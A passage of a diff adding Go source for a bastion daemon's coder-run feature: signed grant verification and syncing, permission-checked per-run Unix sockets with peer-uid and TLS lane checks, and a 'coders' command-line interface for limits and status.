var t coderTerms
if err := json.Unmarshal(canonical, &t); err != nil {
return nil, fmt.Errorf("signed terms unparsable")
}
if t.Kind != coderGrantKind {
return nil, fmt.Errorf("signed record is a %q, not a %s", t.Kind, coderGrantKind)
}
if strings.TrimSpace(t.Subject) == "" || strings.ContainsAny(t.Subject, "|\n ") {
return nil, fmt.Errorf("grant names no host")
}
if t.Max < 1 || t.Max > 100 {
return nil, fmt.Errorf("grant max must be 1-100")
}
if len(t.Engines) == 0 {
return nil, fmt.Errorf("grant names no engine")
}
for _, e := range t.Engines {
if !isCoderEngine(e) {
return nil, fmt.Errorf("grant names an engine that is not a coding engine")
}
}
return &t, nil
}
// purposeForCoderGrant is what the person approves, the same string the host
// builds: coder_grant|<server>|<subject>|engines:<sorted,comma>|max:<n>|ttl:<days>.
func purposeForCoderGrant(t *coderTerms) (string, error) {
eng := append([]string(nil), t.Engines...)
sort.Strings(eng)
if err := purposeBad([]string{t.Server, t.Subject}, eng); err != nil {
return "", err
}
return coderGrantKind + "|" + t.Server + "|" + t.Subject + "|engines:" + strings.Join(eng, ",") +
"|max:" + strconv.Itoa(t.Max) + "|ttl:" + strconv.Itoa(t.TTLDays), nil
}
// coderGrantFor is the valid coder grant pairing `self` holds on this machine
// (the newest one when there are several), or the refusal.
func coderGrantFor(dir, self string) (*coderTerms, string) {
if dir == "" || self == "" {
return nil, "no pairing identity for this request"
}
grantsMu.Lock()
f, err := dcnLoadFile(dir)
grantsMu.Unlock()
if err != nil {
return nil, "grant store unreadable"
}
if f.VerifyPubkey == "" || len(f.Coder) == 0 {
return nil, "no standing coder grant for " + self + " on this machine (the person approves one once; `privatae-bastion coders drop` revokes it)"
}
hn, _ := os.Hostname()
var best *coderTerms
bestID := int64(-1)
for k, rec := range f.Coder {
t, err := coderVerifyRec(f.VerifyPubkey, rec)
if err != nil || t.Subject != self || t.Server != hn {
continue
}
id, _ := strconv.ParseInt(k, 10, 64)
if id > bestID {
best, bestID = t, id
}
}
if best == nil {
return nil, "no valid standing coder grant for " + self + " on this machine"
}
return best, ""
}
// handleCoderGrantSync installs one signed coder grant pushed by the host.
// Payload (b64 JSON): {grant_id, terms_canonical, signature, verify_pubkey}.
func handleCoderGrantSync(ws *websocket.Conn, dir string, args []string) {
refuse := func(id int64, why string) {
dcnAudit(dir, "coder_grant_sync", id, "", "refused: "+why)
sendMgmt(ws, 'R', []byte("coder_grant_sync refused: "+why+"\n"))
sendMgmtExit(ws, 126)
}
if len(args) < 1 {
sendMgmt(ws, 'R', []byte("coder_grant_sync: need <payload_b64>\n"))
sendMgmtExit(ws, 1)
return
}
raw, err := base64.StdEncoding.DecodeString(strings.TrimSpace(args[0]))
if err != nil {
sendMgmt(ws, 'R', []byte("bad base64\n"))
sendMgmtExit(ws, 1)
return
}
var payload struct {
GrantID int64 `json:"grant_id"`
TermsCanonical string `json:"terms_canonical"`
Signature string `json:"signature"`
VerifyPubkey string `json:"verify_pubkey"`
}
if err := json.Unmarshal(raw, &payload); err != nil || payload.GrantID <= 0 {
sendMgmt(ws, 'R', []byte("bad payload json\n"))
sendMgmtExit(ws, 1)
return
}
grantsMu.Lock()
defer grantsMu.Unlock()
f, err := dcnLoadFile(dir)
if err != nil {
sendMgmt(ws, 'R', []byte("grant store unreadable\n"))
sendMgmtExit(ws, 1)
return
}
self := ""
if a := mgmtAccountOf(ws); a != nil {
self = a.self
}
if _, why := pinVerifyKey(f, self, payload.VerifyPubkey); why != "" {
refuse(payload.GrantID, why)
return
}
rec := dcnGrantRec{TermsCanonical: payload.TermsCanonical, Signature: payload.Signature}
terms, err := coderVerifyRec(f.VerifyPubkey, rec)
if err != nil {
refuse(payload.GrantID, "grant does not verify: "+err.Error())
return
}
if hn, _ := os.Hostname(); terms.Server == "" || terms.Server != hn {
refuse(payload.GrantID, fmt.Sprintf("grant is for server '%s', this box is '%s'", terms.Server, hn))
return
}
if self == "" || terms.Subject != self {
refuse(payload.GrantID, fmt.Sprintf("grant is for host '%s', not the host that sent it", terms.Subject))
return
}
if prev, held := f.Coder[fmt.Sprint(payload.GrantID)]; !held || prev.Signature != rec.Signature {
if approvalRequired(dir) {
purpose, perr := purposeForCoderGrant(terms)
if perr != nil {
refuse(payload.GrantID, "grant refused: "+perr.Error())
return
}
if terms.TTLDays <= 0 {
refuse(payload.GrantID, "grant states no duration (ttl_days)")
return
}
if exp, err := time.Parse(time.RFC3339, terms.Expires); err != nil ||
exp.After(time.Now().Add(time.Duration(terms.TTLDays+1)*24*time.Hour)) {
refuse(payload.GrantID, "grant expiry exceeds the approved duration")
return
}
if _, err := boxConsume(dir, terms.Approval, purpose); err != nil {
refuse(payload.GrantID, err.Error())
return
}
}
}
if f.Coder == nil {
f.Coder = map[string]dcnGrantRec{}
}
f.Coder[fmt.Sprint(payload.GrantID)] = rec
if err := dcnSaveFile(dir, f); err != nil {
sendMgmt(ws, 'R', []byte("grant persist failed: "+err.Error()+"\n"))
sendMgmtExit(ws, 1)
return
}
dcnAudit(dir, "coder_grant_sync", payload.GrantID, "", "installed for "+terms.Subject)
b, _ := json.Marshal(map[string]any{"state": "ok", "grant_id": payload.GrantID,
"subject": terms.Subject, "engines": terms.Engines, "max": terms.Max, "expires": terms.Expires})
sendMgmt(ws, 'O', b)
sendMgmtExit(ws, 0)
}
// coderGrantDropLocked removes one coder grant; the caller holds grantsMu.
func coderGrantDropLocked(dir string, id int64, why string) (bool, error) {
f, err := dcnLoadFile(dir)
if err != nil {
return false, err
}
key := strconv.FormatInt(id, 10)
if _, ok := f.Coder[key]; !ok {
return false, nil
}
delete(f.Coder, key)
if err := dcnSaveFile(dir, f); err != nil {
return true, err
}
dcnAudit(dir, "coder_grant_drop", id, "", why)
return true, nil
}
// handleCoderGrantDrop — the host revoked a coder grant: forget it here, now.
// A tighten needs no verification: it can only remove reach.
func handleCoderGrantDrop(ws *websocket.Conn, dir string, args []string) {
if len(args) < 1 {
sendMgmt(ws, 'R', []byte("coder_grant_drop: need <grant_id>\n"))
sendMgmtExit(ws, 1)
return
}
id, err := strconv.ParseInt(strings.TrimSpace(args[0]), 10, 64)
if err != nil {
sendMgmt(ws, 'R', []byte("coder_grant_drop: bad grant_id\n"))
sendMgmtExit(ws, 1)
return
}
grantsMu.Lock()
present, err := coderGrantDropLocked(dir, id, "host-revoked")
grantsMu.Unlock()
if err != nil {
sendMgmt(ws, 'R', []byte("grant drop failed: "+err.Error()+"\n"))
sendMgmtExit(ws, 1)
return
}
b, _ := json.Marshal(map[string]any{"state": "ok", "grant_id": id, "dropped": present})
sendMgmt(ws, 'O', b)
sendMgmtExit(ws, 0)
}
// coderGrantDropAll removes every coder grant this pairing dir holds (the
// owner's `coders drop`). Returns the ids dropped.
func coderGrantDropAll(dir, why string) ([]int64, error) {
grantsMu.Lock()
defer grantsMu.Unlock()
f, err := dcnLoadFile(dir)
if err != nil {
return nil, err
}
var ids []int64
for k := range f.Coder {
if id, err := strconv.ParseInt(k, 10, 64); err == nil {
ids = append(ids, id)
}
}
if len(f.Coder) == 0 {
return nil, nil
}
f.Coder = nil
if err := dcnSaveFile(dir, f); err != nil {
return nil, err
}
sort.Slice(ids, func(i, j int) bool { return ids[i] < ids[j] })
for _, id := range ids {
dcnAudit(dir, "coder_grant_drop", id, "", why)
}
return ids, nil
}
// heldCoderGrants is what the enforcing report tells the host this pairing
// holds: {grant_id, signature}, so it can re-sync what is missing or stale.
func heldCoderGrants(dir string) []map[string]any {
out := []map[string]any{}
if dir == "" {
return out
}
f, err := dcnLoadFile(dir)
if err != nil {
return out
}
ids := make([]int64, 0, len(f.Coder))
for k := range f.Coder {
if id, err := strconv.ParseInt(k, 10, 64); err == nil {
ids = append(ids, id)
}
}
sort.Slice(ids, func(i, j int) bool { return ids[i] < ids[j] })
for _, id := range ids {
out = append(out, map[string]any{"grant_id": id, "signature": f.Coder[strconv.FormatInt(id, 10)].Signature})
}
return out
}
// maybeReconcileCoderGrants: the heartbeat reply may carry
// {"coder_grants": {"grants": [{grant_id, signature}]}}. Held but unlisted on
// TWO consecutive replies → a revoke this box missed → dropped. ABSENT field →
// no instruction (never "drop all"). The pattern of maybeReconcileReach.
func maybeReconcileCoderGrants(heartbeatResponse []byte, dir string) []int64 {
if dir == "" {
return nil
}
var hb struct {
CoderGrants *struct {
Grants []struct {
GrantID int64 `json:"grant_id"`
} `json:"grants"`
} `json:"coder_grants"`
}
if json.Unmarshal(heartbeatResponse, &hb) != nil || hb.CoderGrants == nil {
return nil
}
expected := map[string]bool{}
for _, g := range hb.CoderGrants.Grants {
if g.GrantID > 0 {
expected[strconv.FormatInt(g.GrantID, 10)] = true
}
}
grantsMu.Lock()
defer grantsMu.Unlock()
f, err := dcnLoadFile(dir)
if err != nil {
return nil
}
var dropped []int64
for key := range f.Coder {
ukey := "coder:" + key
if expected[key] {
clearUnlisted(dir, ukey)
continue
}
if bumpUnlisted(dir, ukey) < dropAfterUnlisted {
continue
}
if id, err := strconv.ParseInt(key, 10, 64); err == nil {
if ok, err := coderGrantDropLocked(dir, id, "reconcile: not granted by host"); err == nil && ok {
dropped = append(dropped, id)
}
}
clearUnlisted(dir, ukey)
}
sort.Slice(dropped, func(i, j int) bool { return dropped[i] < dropped[j] })
return dropped
}
+351
View File
@@ -0,0 +1,351 @@
package main
// coder_socket.go — how a Host on THIS machine reaches a coder run.
//
// A pairing with transport "unix" (pair_unix.go) has no tunnel, so a run it
// owns is served as <runs_dir>/<run_id>.sock in place of a tunnel port
// (coder_forward.go). The walls are the forward's. The socket exists only in
// the owning pairing's runs directory and only while the run is up. Every
// accepted connection is checked again: mode:coder still allowed, the run
// still this pairing's, not past its deadline, not stopped by the watchdog.
// The splice pins the run's control.sock inode and checks that the far end is
// the engine's uid (spliceUnix). The run's control cap is enforced by the run
// itself. The file is 0660, group privatae-host when that group exists (the
// Host's container is given that group), else root, and the log says why.
import (
"context"
"crypto/tls"
"errors"
"fmt"
"net"
"os"
"os/user"
"path/filepath"
"strconv"
"sync"
"time"
)
// coderSocketGroup is the group the Host's container is given at install.
const coderSocketGroup = "privatae-host"
type coderRunSock struct {
owner string
path string // what the Host is told: <runs_dir>/<run_id>.sock
file string // the same file by its real path, which is what is removed
ln net.Listener
}
var (
coderSockMu sync.Mutex
coderSocks = map[string]*coderRunSock{} // run_id -> its live socket
coderSockDirs = map[string]string{} // pairing -> its runs dir, while its lanes run here
coderSockLanes = map[string]coderLane{} // pairing -> its lane: who may connect (coderPeerRefusal)
coderSockLastNote string
// The seams: how the group is found and how the socket is handed to it.
coderLookupGroup = func(name string) (int, error) {
g, err := user.LookupGroup(name)
if err != nil {
return -1, err
}
return strconv.Atoi(g.Gid)
}
// Lchown: a link is never followed (coderPrepareRunsDir is the wall).
coderSockChown = os.Lchown
)
// coderSocketRefusal is the per-connection wall: "" to splice, else why not.
func coderSocketRefusal(self string, rec *coderRecord, now time.Time) string {
if why := capsAllow(self, coderGateOp); why != "" {
return why
}
if rec == nil {
return "no such run"
}
if rec.Owner != self {
return "the run belongs to another host"
}
if rec.StoppedBy != "" {
return "the run was stopped to protect this machine"
}
if dl, err := time.Parse(time.RFC3339, rec.Deadline); err != nil || now.After(dl) {
return "the run is past its deadline"
}
return ""
}
// coderSocketGroupID is the group a run socket is given, and when it is root
// because the group does not exist, the reason.
func coderSocketGroupID() (int, string) {
gid, err := coderLookupGroup(coderSocketGroup)
if err != nil || gid < 0 {
return 0, "group " + coderSocketGroup + " does not exist on this machine, so run sockets are root:root 0660 " +
"and only root reaches them (create the group and give it to the Host's container)"
}
return gid, ""
}
// coderPrepareRunsDir makes sure dir is a directory only root can change,
// and returns its real path (its parent's links resolved), which every file
// operation on a run socket then uses. It creates dir itself (0750, root and
// the socket group) but never its parent: the shared directory is the Host
// install's.
//
// WHY. A run socket is chmod-ed and chown-ed by its path, and both follow a
// symlink. The Host names runs_dir and can write the shared directory, so a
// runs directory it could change would let it swap a fresh socket for a link
// to any file on this machine between bind and chmod, and that file would
// become 0660 and the Host group's. So dir must be a real directory owned by
// root that nobody else may write, and every directory above it must be
// root's and either writable by nobody else or sticky (the shared directory
// is 1770), so nobody else can move dir and put their own in its place.
func coderPrepareRunsDir(dir string) (string, error) {
if !cleanAbsSocketPath(dir) {
return "", fmt.Errorf("runs directory %q is not an absolute, clean path", dir)
}
parent, err := filepath.EvalSymlinks(filepath.Dir(dir))
if err != nil {
return "", fmt.Errorf("runs directory %s: %w (the Host's install creates %s)", dir, err, filepath.Dir(dir))
}
for d := parent; ; d = filepath.Dir(d) {
if why := coderDirRefusal(d, true); why != "" {
return "", fmt.Errorf("runs directory %s: %s, so someone else could put another directory in its place; "+
"refusing to put run sockets there", dir, why)
}
if d == filepath.Dir(d) {
break
}
}
rdir := filepath.Join(parent, filepath.Base(dir))
if _, err := os.Lstat(rdir); os.IsNotExist(err) {
if err := os.Mkdir(rdir, 0o750); err != nil {
return "", fmt.Errorf("runs directory %s: %w", dir, err)
}
gid, _ := coderSocketGroupID()
_ = os.Chmod(rdir, 0o750)
_ = coderSockChown(rdir, 0, gid)
}
if why := coderDirRefusal(rdir, false); why != "" {
return "", fmt.Errorf("runs directory %s: %s; refusing to put run sockets there", dir, why)
}
return rdir, nil
}
// coderDirRefusal is "" when only root (or this bastion's own user) can
// change what is in d: a real directory (Lstat, a link is never followed)
// owned by one of them and writable by nobody else, or, when stickyOK, sticky.
func coderDirRefusal(d string, stickyOK bool) string {
fi, err := os.Lstat(d)
if err != nil {
return err.Error()
}
if !fi.IsDir() {
return d + " is not a directory (a link is never followed)"
}
if uid, ok := coderFileOwner(fi); !ok || (uid != 0 && uid != os.Geteuid()) {
return d + " is not root's"
}
if fi.Mode().Perm()&0o022 != 0 && (!stickyOK || fi.Mode()&os.ModeSticky == 0) {
return d + " is writable by others"
}
return ""
}
// coderOpenRunSocket opens run runID's socket in pairing self's runs
// directory, or returns the one already open. ("", nil) when self has no runs
// directory in this daemon: a platform pairing, which uses a tunnel port.
func coderOpenRunSocket(self, runID string) (string, error) {
coderSockMu.Lock()
defer coderSockMu.Unlock()
if s, ok := coderSocks[runID]; ok {
if s.owner == self {
return s.path, nil
}
return "", errors.New("that run's socket belongs to another host")
}
dir, ok := coderSockDirs[self]
if !ok {
return "", nil
}
if !coderRunIDRe.MatchString(runID) {
return "", errors.New("bad run_id")
}
// Read again here, under coderSockMu: the reconcile loop opens from a
// snapshot, and a run-down (which removes the record before it closes
// the socket) or the watchdog's stop may have come between.
if rec, err := loadCoderRecord(runID); err != nil || rec.Owner != self || rec.StoppedBy != "" {
return "", errors.New("no run " + runID + " of this host is up")
}
rdir, err := coderPrepareRunsDir(dir)
if err != nil {
return "", err
}
name := runID + ".sock"
p := filepath.Join(dir, name)
f := filepath.Join(rdir, name)
_ = os.Remove(f) // one a previous daemon left; nobody listens on it
ln, err := coderListenUnix(rdir, name)
if err != nil {
return "", err
}
if ul, ok := ln.(*net.UnixListener); ok {
// Bound through /proc/self/fd, so an unlink on close would name a
// directory fd that is long closed. coderCloseRunSocket removes f.
ul.SetUnlinkOnClose(false)
}
gid, note := coderSocketGroupID()
if err := os.Chmod(f, 0o660); err != nil {
_ = ln.Close()
_ = os.Remove(f)
return "", err
}
if err := coderSockChown(f, 0, gid); err != nil {
_ = ln.Close()
_ = os.Remove(f)
return "", err
}
if note != coderSockLastNote {
if note != "" {
fmt.Printf("[%s] coder sockets: %s\n", self, note)
}
coderSockLastNote = note
}
coderSocks[runID] = &coderRunSock{owner: self, path: p, file: f, ln: ln}
go coderServeRunSocket(self, runID, ln)
return p, nil
}
// coderServeRunSocket accepts on one run's socket and splices each connection
// that passes the wall to the run's control.sock.
func coderServeRunSocket(self, runID string, ln net.Listener) {
lastWhy := ""
for {
in, err := ln.Accept()
if err != nil {
return
}
rec, _ := loadCoderRecord(runID)
why := coderSocketRefusal(self, rec, coderNow())
if why == "" {
why = coderPeerRefusal(self, in)
}
if why != "" {
_ = in.Close()
if why != lastWhy {
fmt.Printf("[%s] coder socket %s: %s\n", self, runID, why)
lastWhy = why
}
continue
}
R, err := coderRunDir(runID)
if err != nil {
_ = in.Close()
continue
}
go spliceUnix(in, filepath.Join(R, "ctl", coderControlSock), rec.UID)
}
}
// coderCloseRunSocket stops serving one run's socket and removes the file.
// Called at run-down (coderTeardown), by the watchdog's stop, and when the
// record goes or its pairing's lanes stop. A no-op when none is open here.
func coderCloseRunSocket(runID string) {
coderSockMu.Lock()
s, ok := coderSocks[runID]
delete(coderSocks, runID)
coderSockMu.Unlock()
if !ok {
return
}
_ = s.ln.Close()
_ = os.Remove(s.file)
}
// startCoderSockets registers pairing self's runs directory, so a run-up for
// it opens the run's socket at once, and keeps one socket per run self owns:
// re-read from the records every serviceForwardPoll, which brings sockets back
// after a daemon restart and takes away those whose record went (a `coders
// drop` in another process). When ctx ends every socket of self is closed.
func startCoderSockets(ctx context.Context, self, runsDir string) {
coderSockMu.Lock()
coderSockDirs[self] = runsDir
coderSockMu.Unlock()
go func() {
defer func() {
coderSockMu.Lock()
if coderSockDirs[self] == runsDir {
delete(coderSockDirs, self)
}
var mine []string
for id, s := range coderSocks {
if s.owner == self {
mine = append(mine, id)
}
}
coderSockMu.Unlock()
for _, id := range mine {
coderCloseRunSocket(id)
}
}()
coderReconcileSockets(self)
t := time.NewTicker(serviceForwardPoll)
defer t.Stop()
for {
select {
case <-ctx.Done():
return
case <-t.C:
coderReconcileSockets(self)
}
}
}()
}
// coderReconcileSockets makes pairing self's open sockets match its records:
// one per run it owns that the watchdog has not stopped.
func coderReconcileSockets(self string) {
want := map[string]bool{}
for _, r := range loadCoderRecords() {
if r.Owner == self && r.StoppedBy == "" {
want[r.RunID] = true
}
}
coderSockMu.Lock()
var drop []string
for id, s := range coderSocks {
if s.owner == self && !want[id] {
drop = append(drop, id)
}
}
coderSockMu.Unlock()
for _, id := range drop {
coderCloseRunSocket(id)
}
for id := range want {
_, _ = coderOpenRunSocket(self, id) // a failure is retried next poll
}
}
// coderLane is pairing's lane as a run socket checks it: the lane socket's
// path, and the dial and mutual TLS its lanes use (unixLaneDialer), so the
// check can make the process on that path prove it is the pairing's Host.
type coderLane struct {
path string
dial func(ctx context.Context) (net.Conn, error)
tls *tls.Config
}
// setCoderSockLane records the lane of pairing self: a run socket serves only
// a process of the uid that serves it (coderPeerRefusal). An empty
// laneSocket forgets it, and then nothing is served.
func setCoderSockLane(self, laneSocket string, dial func(ctx context.Context) (net.Conn, error), laneTLS *tls.Config) {
coderSockMu.Lock()
defer coderSockMu.Unlock()
if laneSocket == "" {
delete(coderSockLanes, self)
return
}
coderSockLanes[self] = coderLane{path: laneSocket, dial: dial, tls: laneTLS}
}
+93
View File
@@ -0,0 +1,93 @@
//go:build linux
package main
import (
"context"
"crypto/tls"
"net"
"os"
"syscall"
"time"
)
// coderLaneProbeTimeout bounds the lane handshake one run socket connection
// waits on. The lane door is on this machine and answers in milliseconds.
const coderLaneProbeTimeout = 3 * time.Second
// coderPeerRefusal is the run socket's second wall: WHO connected. A run
// socket is served to the group every Host on this machine is in, so the
// pairing check alone (coderSocketRefusal) would let Host B reach Host A's run
// on a machine paired with both. The process that connects must have the uid
// of the process serving the pairing's lane, read on every connection because
// the Host re-creates its lane socket when it restarts:
//
// - the kernel's record of who connected (SO_PEERCRED, servicePeerUID) must
// be the owner of the lane socket (Lstat, never followed), which refuses
// another uid at once;
// - and the process listening on the lane socket must prove it is the
// pairing's Host: the lanes' own mutual TLS handshake (the Host's pinned
// CA, the pairing's host name) must complete, and the kernel's record of
// who listens there must be that same uid.
//
// WHY the handshake. The shared directory is group-writable (1770), so while
// Host A is down or restarting and its lane socket is gone, Host B can bind a
// socket of its own at that path. Its owner is then B, and B would pass the
// first check; it cannot pass the handshake, which needs A's lane key.
//
// The uid is the whole of what this tells apart: two Hosts that run as the
// same uid are the same process here (each one's own bind-mounted shared
// directory is what keeps them apart). No lane registered refuses: there is
// nothing to compare against.
func coderPeerRefusal(self string, c net.Conn) string {
coderSockMu.Lock()
lane, ok := coderSockLanes[self]
coderSockMu.Unlock()
if !ok || lane.path == "" || lane.dial == nil || lane.tls == nil {
return "no lane socket is known for this pairing"
}
fi, err := os.Lstat(lane.path)
if err != nil || fi.Mode()&os.ModeSocket == 0 {
return "the pairing's lane socket is not there"
}
st, ok := fi.Sys().(*syscall.Stat_t)
if !ok {
return "the pairing's lane socket's owner could not be read"
}
uid, err := servicePeerUID(c)
if err != nil {
return "who connected could not be read"
}
if uid != st.Uid {
return "the process that connected is not the one serving this pairing's lane"
}
served, err := coderLaneServerUID(lane)
if err != nil {
return "the pairing's lane socket is not served by the pairing's Host"
}
if served != uid {
return "the process that connected is not the one serving this pairing's lane"
}
return ""
}
// coderLaneServerUID dials the pairing's lane socket the way its lanes do,
// completes the mutual TLS handshake (so the listener holds the pairing's
// Host's lane key), and returns the uid the kernel recorded for that listener.
func coderLaneServerUID(lane coderLane) (uint32, error) {
ctx, cancel := context.WithTimeout(context.Background(), coderLaneProbeTimeout)
defer cancel()
raw, err := lane.dial(ctx)
if err != nil {
return 0, err
}
defer raw.Close()
uid, err := servicePeerUID(raw)
if err != nil {
return 0, err
}
if err := tls.Client(raw, lane.tls.Clone()).HandshakeContext(ctx); err != nil {
return 0, err
}
return uid, nil
}
+11
View File
@@ -0,0 +1,11 @@
//go:build !linux
package main
import "net"
// coderPeerRefusal: coder runs are Linux only (coderHostReady), so no run
// socket is ever served here; any connection is refused.
func coderPeerRefusal(self string, c net.Conn) string {
return "coder run sockets are served on Linux only"
}
+1994
View File
File diff suppressed because it is too large Load Diff
+321
View File
@@ -0,0 +1,321 @@
package main
// coders_cli.go — `privatae-bastion coders ...`: the owner sizes this machine
// for coder runs (coders.go). Machine-wide, stored in <configDir>/coders/config.json.
import (
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"net"
"os"
"runtime"
"sort"
"strconv"
"strings"
"time"
)
const codersUsage = `usage:
privatae-bastion coders set [--max N] [--mem MB] [--cpus F] [--engines a,b|all] [--allow-lan host[:port],...]
[--image-prefix <registry/path/>|default]
privatae-bastion coders on | off
privatae-bastion coders drop [--host H]
privatae-bastion coders status [--json]`
func cmdCoders(args []string) error {
if len(args) == 0 {
return errors.New(codersUsage)
}
switch args[0] {
case "set":
return cmdCodersSet(args[1:])
case "on":
c, err := coderTurnOn(loadCoderConfig())
if err != nil {
return err
}
fmt.Printf("coder runs ON: up to %d at a time, %d MiB and %s CPUs each, engines %s\n",
c.Max, c.MemPerRun, strconv.FormatFloat(c.CPUsPerRun, 'f', -1, 64), strings.Join(c.Engines, ","))
return nil
case "off":
c := loadCoderConfig()
c.Enabled = false
if err := saveCoderConfig(c); err != nil {
return err
}
fmt.Println("coder runs OFF: no new run starts here; runs already going continue until they are stopped or reaped")
return nil
case "drop":
host, rest := takeHostFlag(args[1:])
if len(rest) != 0 {
return errors.New(codersUsage)
}
return cmdCodersDrop(host)
case "status":
asJSON := len(args) > 1 && args[1] == "--json"
return cmdCodersStatus(asJSON)
}
return errors.New(codersUsage)
}
// coderApplySet parses `coders set` flags onto c. Bounds: max 1..100, mem
// 512..65536, cpus 0.25..NumCPU, engines a subset of the coding engines.
func coderApplySet(c coderConfig, args []string, numCPU int) (coderConfig, error) {
if len(args) == 0 {
return c, errors.New(codersUsage)
}
for i := 0; i < len(args); i++ {
flag := args[i]
if i+1 >= len(args) {
return c, fmt.Errorf("%s needs a value", flag)
}
v := args[i+1]
i++
switch flag {
case "--max":
n, err := strconv.Atoi(v)
if err != nil || n < 1 || n > 100 {
return c, errors.New("--max must be 1-100")
}
c.Max = n
case "--mem":
n, err := strconv.Atoi(v)
if err != nil || n < 512 || n > 65536 {
return c, errors.New("--mem must be 512-65536 (MiB per run)")
}
c.MemPerRun = n
case "--cpus":
f, err := strconv.ParseFloat(v, 64)
if err != nil || f < 0.25 || f > float64(numCPU) {
return c, fmt.Errorf("--cpus must be 0.25-%d", numCPU)
}
c.CPUsPerRun = f
case "--engines":
if v == "all" {
c.Engines = append([]string(nil), coderEngines...)
break
}
var eng []string
for _, e := range strings.Split(v, ",") {
e = strings.TrimSpace(e)
if e == "" {
continue
}
if !isCoderEngine(e) {
return c, fmt.Errorf("--engines: %q is not a coding engine (%s)", e, strings.Join(coderEngines, ", "))
}
if !containsStr(eng, e) {
eng = append(eng, e)
}
}
if len(eng) == 0 {
return c, errors.New("--engines names no engine")
}
c.Engines = eng
case "--allow-lan":
var allow []string
for _, h := range strings.Split(v, ",") {
h = strings.TrimSpace(h)
if h == "" {
continue
}
if strings.ContainsAny(h, " /\t") {
return c, fmt.Errorf("--allow-lan: %q is not a host[:port]", h)
}
if hh, p, err := net.SplitHostPort(h); err == nil {
if n, err := strconv.Atoi(p); err != nil || n < 1 || n > 65535 || hh == "" {
return c, fmt.Errorf("--allow-lan: %q has a bad port", h)
}
}
allow = append(allow, h)
}
c.AllowLAN = allow
case "--image-prefix":
// Where run images may come from: <prefix>harness-<engine>@sha256:...
// "default" (or the default itself) clears it, so the file holds
// only a prefix the owner chose.
if v == "default" || v == coderDefaultImagePrefix {
c.ImagePrefix = ""
break
}
if why := coderPrefixRefusal(v); why != "" {
return c, errors.New(why)
}
c.ImagePrefix = v
default:
return c, fmt.Errorf("unknown flag %s\n%s", flag, codersUsage)
}
}
return c, nil
}
func cmdCodersSet(args []string) error {
c, err := coderApplySet(loadCoderConfig(), args, runtime.NumCPU())
if err != nil {
return err
}
if err := saveCoderConfig(c); err != nil {
return err
}
fmt.Println("coder settings saved (on/off unchanged: `privatae-bastion coders on`)")
return nil
}
// coderTurnOn fills every unset value with its default and enables. max
// defaults to how many runs fit in the memory budget (coderBudgetMB),
// clamped to 1..100, and refuses when the machine cannot hold one run.
func coderTurnOn(c coderConfig) (coderConfig, error) {
if c.MemPerRun == 0 {
c.MemPerRun = coderDefaultMemMB
}
if c.CPUsPerRun == 0 {
c.CPUsPerRun = coderDefaultCPUs
if n := float64(runtime.NumCPU()); c.CPUsPerRun > n {
c.CPUsPerRun = n
}
}
if len(c.Engines) == 0 {
c.Engines = append([]string(nil), coderEngines...)
}
if c.Max == 0 {
total, _, ok := coderMemInfo()
if !ok {
return c, errors.New("cannot read this machine's memory; set it with `coders set --max N`")
}
n := coderBudgetMB(int(total>>20)) / c.MemPerRun
if n < 1 {
return c, fmt.Errorf("this machine has %d MiB; one run of %d MiB plus %d MiB for the machine does not fit",
total>>20, c.MemPerRun, coderReserveMB(int(total>>20)))
}
if n > 100 {
n = 100
}
c.Max = n
}
c.Enabled = true
return c, saveCoderConfig(c)
}
// cmdCodersDrop deletes the standing coder grant(s) of every pairing, or of
// host, and stops those pairings' runs here.
func cmdCodersDrop(host string) error {
cfgs, err := loadPairings()
if err != nil {
return err
}
var targets []*Config
if host != "" {
c, err := findPairing(cfgs, host)
if err != nil {
return err
}
if c == nil {
return fmt.Errorf("no pairing for %q (paired: %s)", host, strings.Join(hostNames(cfgs), ", "))
}
targets = []*Config{c}
} else {
targets = cfgs
}
owners := map[string]bool{}
for _, c := range targets {
owners[c.HostName] = true
ids, err := coderGrantDropAll(c.dcnDir(), "dropped at this machine (coders drop)")
if err != nil {
return fmt.Errorf("%s: %w", c.HostName, err)
}
fmt.Printf("%s: %d coder grant(s) dropped\n", c.HostName, len(ids))
}
rt := coderRuntime()
stopped, failed := 0, 0
for _, r := range loadCoderRecords() {
if !owners[r.Owner] {
continue
}
if rt == "" {
failed++
continue
}
r := r
if _, err := coderTeardown(rt, r.RunID, &r); err != nil {
failed++
fmt.Fprintf(os.Stderr, "run %s: %v\n", r.RunID, err)
continue
}
stopped++
}
fmt.Printf("%d run(s) stopped", stopped)
if failed > 0 {
fmt.Printf(", %d could not be confirmed stopped (the reaper retries)", failed)
}
fmt.Println()
return nil
}
func cmdCodersStatus(asJSON bool) error {
c := loadCoderConfig()
cfgs, _ := loadPairings()
type grantView struct {
Host string `json:"host"`
Engines []string `json:"engines"`
Max int `json:"max"`
Expires string `json:"expires"`
}
grants := []grantView{}
for _, p := range cfgs {
dir := p.dcnDir()
f, err := dcnLoadFile(dir)
if err != nil {
continue
}
for _, rec := range f.Coder {
raw, err := base64.StdEncoding.DecodeString(rec.TermsCanonical)
var t coderTerms
if err != nil || json.Unmarshal(raw, &t) != nil {
continue
}
grants = append(grants, grantView{Host: p.HostName, Engines: t.Engines, Max: t.Max, Expires: t.Expires})
}
}
sort.Slice(grants, func(i, j int) bool { return grants[i].Host < grants[j].Host })
runs := coderReports("", true)
if asJSON {
b, _ := json.MarshalIndent(map[string]any{"config": c, "grants": grants, "runs": runs}, "", " ")
fmt.Println(string(b))
return nil
}
state := "OFF"
if c.Enabled {
state = "ON"
}
fmt.Printf("coder runs: %s max %d %d MiB / %s CPUs per run engines %s\n", state, c.Max, c.MemPerRun,
strconv.FormatFloat(c.CPUsPerRun, 'f', -1, 64), strings.Join(c.Engines, ","))
if total, _, ok := coderMemInfo(); ok && c.MemPerRun > 0 {
mb := int(total >> 20)
fmt.Printf("memory for runs: %d of %d MiB (%d kept for the machine), so %d run(s) of %d MiB at a time\n",
coderBudgetMB(mb), mb, coderReserveMB(mb), max(coderBudgetMB(mb)/c.MemPerRun, 0), c.MemPerRun)
}
if len(c.AllowLAN) > 0 {
fmt.Printf("LAN hosts runs may reach: %s\n", strings.Join(c.AllowLAN, ", "))
}
fmt.Printf("run images: %sharness-<engine>@sha256:<digest>\n", c.imagePrefix())
for _, g := range grants {
fmt.Printf("grant: %s engines %s max %d until %s\n", g.Host, strings.Join(g.Engines, ","), g.Max, g.Expires)
}
now := time.Now()
for _, r := range runs {
left := ""
if dl, err := time.Parse(time.RFC3339, r.Deadline); err == nil {
left = dl.Sub(now).Round(time.Minute).String() + " left"
